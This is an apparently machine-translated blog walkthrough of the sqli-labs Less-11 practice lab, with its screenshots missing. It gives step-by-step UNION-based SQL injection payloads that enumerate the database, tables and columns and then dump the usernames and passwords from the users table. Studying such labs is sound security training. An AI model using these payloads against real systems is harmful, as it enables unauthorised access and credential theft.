[Network Security] Detailed analysis of sqli-labs Less-11 problem solving

The attack posture and grammar are relatively simple and will not be introduced in detail.

Determine the type of injection

insert image description here
It can be seen from the echo of the upper and lower figures that the injection type is character injection

insert image description here


Determine the number of injection points

insert image description here

It can be seen from the upper and lower figures that the number of injection points is 2

insert image description here


Check library name

1' union select 1,database()#

insert image description here

The database is security


Lookup table name

1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#

insert image description here

echo four table names


Check column name

1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users')#

insert image description here


check data

1' union select group_concat(username),group_concat(password) from security.users#

insert image description here


Summarize

以上为[网络安全]sqli-labs Less-11 解题详析,后续将分享[网络安全]sqli-labs Less-12 解题详析,请读者躬身实践。

I am Qiu said, see you next time.

Guess you like

Origin blog.csdn.net/2301_77485708/article/details/131996930